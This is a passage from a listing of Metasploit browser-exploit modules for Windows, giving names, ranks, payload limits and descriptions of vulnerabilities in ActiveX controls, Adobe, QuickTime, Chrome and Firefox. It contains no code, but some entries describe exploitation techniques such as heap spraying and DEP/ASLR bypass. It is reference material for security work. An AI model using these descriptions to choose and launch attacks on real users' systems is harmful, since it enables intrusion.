
End Exploit Number 1305

Begin Exploit Number 1306
       Name: Adobe Shockwave rcsL Memory Corruption
     Module: exploit/windows/browser/adobe_shockwave_rcsl_corruption
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-10-21

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This module exploits a weakness in the Adobe Shockwave player's
handling of
  Director movies (.DIR). A memory corruption vulnerability occurs
through an undocumented
  rcsL chunk.
```

```
End Exploit Number 1306

Begin Exploit Number 1307
       Name: Adobe Reader ToolButton Use After Free
     Module: exploit/windows/browser/adobe_toolbutton
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-08-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an use after free condition on Adobe Reader 
versions 11.0.2, 10.1.6
  and 9.5.4 and prior. The vulnerability exists while handling the 
ToolButton object, where
  the cEnable callback can be used to early free the object memory. 
Later use of the object
  allows triggering the use after free condition. This module has been 
tested successfully
  on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as 
exploited in the wild in
  November, 2013. At the moment, this module doesn't support Adobe 
Reader 9 targets; in order
  to exploit Adobe Reader 9 the fileformat version of the exploit can 
be used.

End Exploit Number 1307

Begin Exploit Number 1308
       Name: Adobe util.printf() Buffer Overflow
     Module: exploit/windows/browser/adobe_utilprintf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-02-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Adobe Reader and Adobe
Acrobat Professional
  < 8.1.3. By creating a specially crafted pdf that a contains
malformed util.printf()
  entry, an attacker may be able to execute arbitrary code.

End Exploit Number 1308

Begin Exploit Number 1309
       Name: Advantech WebAccess dvs.ocx GetColor Buffer Overflow
     Module: exploit/windows/browser/advantech_webaccess_dvs_getcolor
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-07-17

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow vulnerability in Advantec
WebAccess. The
  vulnerability exists in the dvs.ocx ActiveX control, where a
dangerous call to
  sprintf can be reached with user controlled data through the
GetColor function.
  This module has been tested successfully on Windows XP SP3 with IE6
and Windows
  7 SP1 with IE8 and IE 9.

End Exploit Number 1309

Begin Exploit Number 1310
       Name: AOL Instant Messenger goaway Overflow
     Module: exploit/windows/browser/aim_goaway
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-08-09

Payload information:
  Space: 1014
  Avoid: 16 characters

Description:
  This module exploits a flaw in the handling of AOL Instant
  Messenger's 'goaway' URI handler.  An attacker can execute
  arbitrary code by supplying an overly sized buffer as the
  'message' parameter.  This issue is known to affect AOL Instant
  Messenger 5.5.

End Exploit Number 1310

Begin Exploit Number 1311
       Name: Aladdin Knowledge System Ltd ChooseFilePath Buffer
Overflow
     Module: exploit/windows/browser/aladdin_choosefilepath_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-01

Payload information:

Description:
  This module exploits a vulnerability found in Aladdin Knowledge
System's
  ActiveX component.  By supplying a long string of data to the
ChooseFilePath()
  function, a buffer overflow occurs, which may result in remote code
execution
  under the context of the user.

End Exploit Number 1311

Begin Exploit Number 1312
       Name: Amaya Browser v11.0 'bdo' Tag Overflow
     Module: exploit/windows/browser/amaya_bdo
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-01-28

Payload information:
  Space: 970
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the Amaya v11
Browser.
  By sending an overly long string to the "bdo"
  tag, an attacker may be able to execute arbitrary code.

End Exploit Number 1312

Begin Exploit Number 1313
       Name: AOL Radio AmpX ActiveX Control ConvertFile() Buffer 
Overflow
     Module: exploit/windows/browser/aol_ampx_convertfile
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-05-19

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow in AOL 
IWinAmpActiveX
  class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
  By setting an overly long value to 'ConvertFile()', an attacker can 
overrun
  a buffer and execute arbitrary code.

End Exploit Number 1313

Begin Exploit Number 1314
       Name: America Online ICQ ActiveX Control Arbitrary File 
Download and Execute
     Module: exploit/windows/browser/aol_icq_downloadagent
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-11-06

Payload information:
  Space: 2048

Description:
  This module allows remote attackers to download and execute 
arbitrary files
  on a users system via the DownloadAgent function of the 
ICQPhone.SipxPhoneManager ActiveX control.

End Exploit Number 1314
```

```
Begin Exploit Number 1315
       Name: Apple ITunes 4.7 Playlist Buffer Overflow
     Module: exploit/windows/browser/apple_itunes_playlist
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2005-01-11

Payload information:
  Space: 500
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in Apple ITunes 4.7
  build 4.7.0.42. By creating a URL link to a malicious PLS
  file, a remote attacker could overflow a buffer and execute
  arbitrary code. When using this module, be sure to set the
  URIPATH with an extension of '.pls'.

End Exploit Number 1315

Begin Exploit Number 1316
       Name: Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution
     Module: exploit/windows/browser/apple_quicktime_marshaled_punk
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-08-30

Payload information:
  Space: 384
  Avoid: 0 characters

Description:
  This module exploits a memory trust issue in Apple QuickTime
  7.6.7. When processing a specially-crafted HTML page, the QuickTime
ActiveX
  control will treat a supplied parameter as a trusted pointer. It
will
  then use it as a COM-type pUnknown and lead to arbitrary code
execution.

  This exploit utilizes a combination of heap spraying and the
  QuickTimeAuthoring.qtx module to bypass DEP and ASLR. This module
does not
```

```
  opt-in to ASLR. As such, this module should be reliable on all 
Windows
  versions.

  NOTE: The addresses may need to be adjusted for older versions of 
QuickTime.

End Exploit Number 1316

Begin Exploit Number 1317
       Name: Apple QuickTime 7.7.2 MIME Type Buffer Overflow
     Module: exploit/windows/browser/apple_quicktime_mime_type
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-11-07

Payload information:

Description:
  This module exploits a buffer overflow in Apple QuickTime 7.7.2. The 
stack
  based overflow occurs when processing a malformed Content-Type 
header. The module
  has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP 
SP3.

End Exploit Number 1317

Begin Exploit Number 1318
       Name: Apple Quicktime 7 Invalid Atom Length Buffer Overflow
     Module: exploit/windows/browser/apple_quicktime_rdrf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-22

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Apple Quicktime. The 
flaw is
  triggered when Quicktime fails to properly handle the data length 
for certain
  atoms such as 'rdrf' or 'dref' in the Alis record, which may result
```

```
a buffer
  overflow by loading a specially crafted .mov file, and allows
arbitrary
  code execution under the context of the current user.

End Exploit Number 1318

Begin Exploit Number 1319
       Name: Apple QuickTime 7.1.3 RTSP URI Buffer Overflow
     Module: exploit/windows/browser/apple_quicktime_rtsp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-01-01

Payload information:
  Space: 500
  Avoid: 17 characters

Description:
  This module exploits a buffer overflow in Apple QuickTime
  7.1.3. This module was inspired by MOAB-01-01-2007.  The
  Browser target for this module was tested against IE 6 and
  Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
  QuickTime plugin.

End Exploit Number 1319

Begin Exploit Number 1320
       Name: Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow
     Module: exploit/windows/browser/apple_quicktime_smil_debug
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-08-12

Payload information:
  Space: 640
  Avoid: 17 characters

Description:
  This module exploits a buffer overflow in Apple QuickTime
  7.6.6. When processing a malformed SMIL uri, a stack-based buffer
  overflow can occur when logging an error message.

End Exploit Number 1320
```

```
Begin Exploit Number 1321
       Name: Apple QuickTime 7.7.2 TeXML Style Element font-table
Field Stack Buffer Overflow
     Module: exploit/windows/browser/apple_quicktime_texml_font_table
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-11-07

Payload information:
  Space: 1000

Description:
  This module exploits a vulnerability found in Apple QuickTime. When
handling
  a TeXML file, it is possible to trigger a stack-based buffer
overflow, and then
  gain arbitrary code execution under the context of the user.  This
is due to the
  QuickTime3GPP.gtx component not handling certain Style subfields
properly, as the
  font-table field, which is used to trigger the overflow in this
module. Because of
  QuickTime restrictions when handling font-table fields, only
0x31-0x39 bytes can be
  used to overflow, so at the moment DEP/ASLR bypass hasn't been
provided. The module
  has been tested successfully on IE6 and IE7 browsers (Windows XP and
Vista).

End Exploit Number 1321

Begin Exploit Number 1322
       Name: Ask.com Toolbar askBar.dll ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/ask_shortformat
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-09-24

Payload information:
  Space: 800
  Avoid: 6 characters
```

```
Description:
  This module exploits a stack buffer overflow in Ask.com Toolbar
4.0.2.53.
  An attacker may be able to execute arbitrary code by sending an
overly
  long string to the "ShortFormat()" method in askbar.dll.

End Exploit Number 1322

Begin Exploit Number 1323
       Name: ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow
     Module: exploit/windows/browser/asus_net4switch_ipswcom
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in ASUS Net4Switch's
ipswcom.dll
  ActiveX control.  A buffer overflow condition is possible in
multiple places due
  to the use of the CxDbgPrint() function, which allows remote
attackers to gain
  arbitrary code execution under the context of the user.

End Exploit Number 1323

Begin Exploit Number 1324
       Name: AtHocGov IWSAlerts ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/athocgov_completeinstallation
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-02-15

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in AtHocGov IWSAlerts.
When
```

```
  sending an overly long string to the CompleteInstallation() method 
of AtHocGovTBr.dll
  (6.1.4.36) an attacker may be able to execute arbitrary code. This
  vulnerability was silently patched by the vendor.

End Exploit Number 1324

Begin Exploit Number 1325
       Name: Autodesk IDrop ActiveX Control Heap Memory Corruption
     Module: exploit/windows/browser/autodesk_idrop
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-04-02

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a heap-based memory corruption vulnerability in
  Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
  An attacker can execute arbitrary code by triggering a heap use 
after
  free condition using the Src, Background, PackageXml properties.

End Exploit Number 1325

Begin Exploit Number 1326
       Name: SonicWALL Aventail epi.dll AuthCredential Format String
     Module: exploit/windows/browser/aventail_epi_activex
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-08-19

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a format string vulnerability within version 
10.0.4.x and
  10.5.1 of the SonicWALL Aventail SSL-VPN Endpoint Interrogator/
Installer ActiveX
  control (epi.dll). By calling the 'AuthCredential' method with a
```

```
specially
  crafted Unicode format string, an attacker can cause memory
corruption and
  execute arbitrary code.

  Unfortunately, it does not appear to be possible to indirectly re-
use existing
  stack data for more reliable exploitation. This is due to several
particulars
  about this vulnerability. First, the format string must be a Unicode
string,
  which uses two bytes per character. Second, the buffer is allocated
on the
  stack using the 'alloca' function. As such, each additional format
specifier (%x)
  will add four more bytes to the size allocated. This results in the
inability to
  move the read pointer outside of the buffer.

  Further testing showed that using specifiers that pop more than four
bytes does
  not help. Any number of format specifiers will result in accessing
the same value
  within the buffer.

  NOTE: It may be possible to leverage the vulnerability to leak
memory contents.
  However, that has not been fully investigated at this time.

End Exploit Number 1326

Begin Exploit Number 1327
       Name: AwingSoft Winds3D Player SceneURL Buffer Overflow
     Module: exploit/windows/browser/awingsoft_web3d_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-07-10

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a data segment buffer overflow within Winds3D
Viewer of
  AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a
plugin of
```

```
  AwingSoft Web3D Player.
  By setting an overly long value to the 'SceneURL' property, an
attacker can
  overrun a buffer and execute arbitrary code.

End Exploit Number 1327

Begin Exploit Number 1328
       Name: AwingSoft Winds3D Player 3.5 SceneURL Download and
Execute
     Module: exploit/windows/browser/awingsoft_winds3d_sceneurl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-14

Payload information:
  Space: 2048

Description:
  This module exploits an untrusted program execution vulnerability
within the
  Winds3D Player from AwingSoft. The Winds3D Player is a browser
plugin for
  IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the
'SceneURL'
  parameter to the URL to an executable, an attacker can execute
arbitrary
  code.

  Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5
and
  IE 8 on Windows XP SP3.

End Exploit Number 1328

Begin Exploit Number 1329
       Name: BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload
Buffer Overflow
     Module: exploit/windows/browser/
baofeng_storm_onbeforevideodownload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-04-30
```

```
Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in BaoFeng's Storm media
Player ActiveX
  control. Versions of mps.dll including 3.9.4.27 and lower are
affected. When passing
  an overly long string to the method "OnBeforeVideoDownload" an
attacker can execute
  arbitrary code.

End Exploit Number 1329

Begin Exploit Number 1330
       Name: RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack
Buffer Overflow
     Module: exploit/windows/browser/barcode_ax49
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-06-22

Payload information:
  Space: 1024
  Avoid: 20 characters

Description:
  This module exploits a stack buffer overflow in RKD Software Barcode
Application
  ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to
the BeginPrint
  method of BarCodeAx.dll v4.9, an attacker may be able to execute
arbitrary code.

End Exploit Number 1330

Begin Exploit Number 1331
       Name: Black Ice Cover Page ActiveX Control Arbitrary File
Download
     Module: exploit/windows/browser/blackice_downloadimagefileurl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-06-05
```

```
Payload information:
  Space: 2048

Description:
  This module allows remote attackers to place arbitrary files on a
users file system
  by abusing the "DownloadImageFileURL" method in the Black Ice
BIImgFrm.ocx ActiveX
  Control (BIImgFrm.ocx 12.0.0.0).  Code execution can be achieved by
first uploading the
  payload to the remote machine, and then upload another mof file,
which enables Windows
  Management Instrumentation service to execute the binary. Please
note that this module
  currently only works for Windows before Vista.  Also, a similar
issue is reported in
  BIDIB.ocx (10.9.3.0) within the Barcode SDK.

End Exploit Number 1331

Begin Exploit Number 1332
       Name: Icona SpA C6 Messenger DownloaderActiveX Control
Arbitrary File Download and Execute
     Module: exploit/windows/browser/c6_messenger_downloaderactivex
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-06-03

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in Icona SpA C6 Messenger
1.0.0.1. The
  vulnerability is in the DownloaderActiveX Control
(DownloaderActiveX.ocx). The
  insecure control can be abused to download and execute arbitrary
files in the context of
  the currently logged-on user.

End Exploit Number 1332

Begin Exploit Number 1333
       Name: CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer
Overflow
     Module: exploit/windows/browser/ca_brightstor_addcolumn
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-03-16

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is 
vulnerable to a stack-based
  buffer overflow. By passing an overly long argument to the 
AddColumn() method, a remote attacker
  could overflow a buffer and execute arbitrary code on the system.

End Exploit Number 1333

Begin Exploit Number 1334
       Name: Chilkat Crypt ActiveX WriteFile Unsafe Method
     Module: exploit/windows/browser/chilkat_crypt_writefile
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-11-03

Payload information:
  Space: 2048

Description:
  This module allows attackers to execute code via the 'WriteFile' 
unsafe method of
  Chilkat Software Inc's Crypt ActiveX control.

  This exploit is based on shinnai's exploit that uses an hcp:// 
protocol URI to
  execute our payload immediately. However, this method requires that 
the victim user
  be browsing with Administrator. Additionally, this method will not 
work on newer
  versions of Windows.

  NOTE: This vulnerability is still unpatched. The latest version of 
Chilkat Crypt at
  the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
```

```
End Exploit Number 1334

Begin Exploit Number 1335
       Name: Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7
x86
     Module: exploit/windows/browser/chrome_filereader_uaf
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-03-21

Payload information:

Description:
  This exploit takes advantage of a use after free vulnerability in
Google
  Chrome 72.0.3626.119 running on Windows 7 x86.
    The FileReader.readAsArrayBuffer function can return multiple
references to the
  same ArrayBuffer object, which can be freed and overwritten with
sprayed objects.
  The dangling ArrayBuffer reference can be used to access the sprayed
objects,
  allowing arbitrary memory access from Javascript. This is used to
write and
  execute shellcode in a WebAssembly object.
    The shellcode is executed within the Chrome sandbox, so you must
explicitly
  disable the sandbox for the payload to be successful.

End Exploit Number 1335

Begin Exploit Number 1336
       Name: Cisco AnyConnect VPN Client ActiveX URL Property Download
and Execute
     Module: exploit/windows/browser/cisco_anyconnect_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-06-01

Payload information:

Description:
  This module exploits a vulnerability in the Cisco AnyConnect VPN
client
```

```
  vpnweb.ocx ActiveX control. This control is typically used to
install the
  VPN client. An attacker can set the 'url' property which is where
the control
  tries to locate the files needed to install the client.

    The control tries to download two files from the site specified
within the
  'url' property. One of these files it will be stored in a temporary
directory and
  executed.

End Exploit Number 1336

Begin Exploit Number 1337
       Name: Cisco Linksys PlayerPT ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/cisco_playerpt_setsource
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-22

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This module exploits a vulnerability found in Cisco Linksys PlayerPT
1.0.0.15
  as the installed with the web interface of Cisco Linksys WVC200
Wireless-G PTZ
  Internet Video Camera. The vulnerability, due to the insecure usage
of sprintf in
  the SetSource method, allows to trigger a stack based buffer
overflow which leads
  to code execution under the context of the user visiting a malicious
web page.

End Exploit Number 1337

Begin Exploit Number 1338
       Name: Cisco Linksys PlayerPT ActiveX Control SetSource sURL
Argument Buffer Overflow
     Module: exploit/windows/browser/cisco_playerpt_setsource_surl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2012-07-17

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability found in Cisco Linksys PlayerPT
1.0.0.15
  as the installed with the web interface of Cisco Linksys WVC200
Wireless-G PTZ
  Internet Video Camera. The vulnerability, due to the insecure usage
of sprintf in
  the SetSource method, when handling a specially crafted sURL
argument, allows to
  trigger a stack based buffer overflow which leads to code execution
under the
  context of the user visiting a malicious web page.

End Exploit Number 1338

Begin Exploit Number 1339
       Name: Cisco WebEx Chrome Extension RCE (CVE-2017-3823)
     Module: exploit/windows/browser/cisco_webex_ext
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-01-21

Payload information:

Description:
  This module exploits a vulnerability present in the Cisco WebEx
Chrome Extension
  version 1.0.1 which allows an attacker to execute arbitrary commands
on a system.

End Exploit Number 1339

Begin Exploit Number 1340
       Name: Citrix Gateway ActiveX Control Stack Based Buffer
Overflow Vulnerability
     Module: exploit/windows/browser/citrix_gateway_actx
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-07-14

Payload information:
  Space: 500
  Avoid: 9 characters

Description:
  This module exploits a stack based buffer overflow in the Citrix 
Gateway
  ActiveX control. Exploitation of this vulnerability requires user 
interaction.
  The victim must click a button in a dialog to begin a scan. This is 
typical
  interaction that users should be accustom to.

    Exploitation results in code execution with the privileges of the 
user who
  browsed to the exploit page.

End Exploit Number 1340

Begin Exploit Number 1341
       Name: IBM Rational ClearQuest CQOle Remote Code Execution
     Module: exploit/windows/browser/clear_quest_cqole
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-19

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a function prototype mismatch on the CQOle 
ActiveX
  control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 
which
  allows reliable remote code execution when DEP isn't enabled.

End Exploit Number 1341

Begin Exploit Number 1342
       Name: CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow
     Module: exploit/windows/browser/communicrypt_mail_activex
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Great
  Disclosed: 2010-05-19

Payload information:
  Space: 1000
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the ANSMTP.dll/
AOSMTP.dll
  ActiveX Control provided by CommuniCrypt Mail 1.16.  By sending an
overly
  long string to the "AddAttachments()" method, an attacker may be
able to
  execute arbitrary code.

End Exploit Number 1342

Begin Exploit Number 1343
       Name: Creative Software AutoUpdate Engine ActiveX Control
Buffer Overflow
     Module: exploit/windows/browser/creative_software_cachefolder
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-05-28

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Creative Software
AutoUpdate Engine. When
  sending an overly long string to the cachefolder() property of
CTSUEng.ocx
  an attacker may be able to execute arbitrary code.

End Exploit Number 1343

Begin Exploit Number 1344
       Name: Crystal Reports CrystalPrintControl ActiveX
ServerResourceVersion Property Overflow
     Module: exploit/windows/browser/crystal_reports_printcontrol
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2010-12-14

Payload information:
  Space: 890
  Avoid: 1 characters

Description:
  This module exploits a heap based buffer overflow in the
CrystalPrintControl
  ActiveX, while handling the ServerResourceVersion property. The
affected control
  can be found in the PrintControl.dll component as included with
Crystal Reports
  2008. This module has been tested successfully on IE 6, 7 and 8 on
Windows XP SP3
  and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library,
loaded by the
  affected ActiveX control, to bypass DEP and ASLR.

End Exploit Number 1344

Begin Exploit Number 1345
       Name: Dell Webcam CrazyTalk ActiveX BackImage Vulnerability
     Module: exploit/windows/browser/dell_webcam_crazytalk
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-19

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Dell Webcam's CrazyTalk
component.
  Specifically, when supplying a long string for a file path to the
BackImage
  property, an overflow may occur after checking certain file
extension names,
  resulting in remote code execution under the context of the user.

End Exploit Number 1345

Begin Exploit Number 1346
       Name: Worldweaver DX Studio Player shell.execute() Command
Execution
     Module: exploit/windows/browser/dxstudio_player_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-06-09

Payload information:
  Space: 2048

Description:
  This module exploits a command execution vulnerability within the DX
  Studio Player from Worldweaver for versions 3.0.29 and earlier. The
  player is a browser plugin for IE (ActiveX) and Firefox (dll). When
an
  unsuspecting user visits a web page referring to a specially crafted
  .dxstudio document, an attacker can execute arbitrary commands.

  Testing was conducted using plugin version 3.0.29.0 for Firefox
2.0.0.20
  and IE 6 on Windows XP SP3. In IE, the user will be prompted if they
  wish to allow the plug-in to access local files. This prompt appears
to
  occur only once per server host.

  NOTE: This exploit uses additionally dangerous script features to
write
  to local files!

End Exploit Number 1346

Begin Exploit Number 1347
       Name: Electronic Arts SnoopyCtrl ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/ea_checkrequirements
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-10-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Electronic Arts
SnoopyCtrl
  ActiveX Control (NPSnpy.dll 1.1.0.36. When sending an overly long
  string to the CheckRequirements() method, an attacker may be able
  to execute arbitrary code.

End Exploit Number 1347

Begin Exploit Number 1348
       Name: FlipViewer FViewerLoading ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/ebook_flipviewer_fviewerloading
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Normal
  Disclosed: 2007-06-06

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in E-BOOK Systems 
FlipViewer 4.0.
  The vulnerability is caused due to a boundary error in the
  FViewerLoading (FlipViewerX.dll) ActiveX control when handling the
  "LoadOpf()" method.

End Exploit Number 1348

Begin Exploit Number 1349
       Name: EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
     Module: exploit/windows/browser/enjoysapgui_comp_download
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-04-15

Payload information:
  Space: 2048

Description:
  This module allows remote attackers to place arbitrary files on a 
users file system
  by abusing the "Comp_Download" method in the SAP KWEdit ActiveX 
Control (kwedit.dll 6400.1.1.41).

End Exploit Number 1349

Begin Exploit Number 1350
```

```
       Name: EnjoySAP SAP GUI ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/enjoysapgui_preparetoposthtml
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-07-05

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in SAP KWEdit ActiveX 
  Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By 
sending 
  an overly long string to the "PrepareToPostHTML()" method, an 
attacker 
  may be able to execute arbitrary code.

End Exploit Number 1350

Begin Exploit Number 1351
       Name: Exodus Wallet (ElectronJS Framework) remote Code 
Execution
     Module: exploit/windows/browser/exodus
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-01-25

Payload information:

Description:
  This module exploits a Remote Code Execution vulnerability in Exodus 
Wallet, 
  a vulnerability in the ElectronJS Framework protocol handler can be 
used to 
  get arbitrary command execution if the user clicks on a specially 
crafted URL.

End Exploit Number 1351

Begin Exploit Number 1352
       Name: Facebook Photo Uploader 4 ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/facebook_extractiptc
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-01-31

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in Facebook Photo 
Uploader 4.
  By sending an overly long string to the "ExtractIptc()" property 
located
  in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be 
able to execute
  arbitrary code.

End Exploit Number 1352

Begin Exploit Number 1353
       Name: Firefox nsSMILTimeContainer::NotifyTimeChange() RCE
     Module: exploit/windows/browser/firefox_smil_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-11-30

Payload information:

Description:
  This module exploits an out-of-bounds indexing/use-after-free 
condition present in
  nsSMILTimeContainer::NotifyTimeChange() across numerous versions of 
Mozilla Firefox
  on Microsoft Windows.

End Exploit Number 1353

Begin Exploit Number 1354
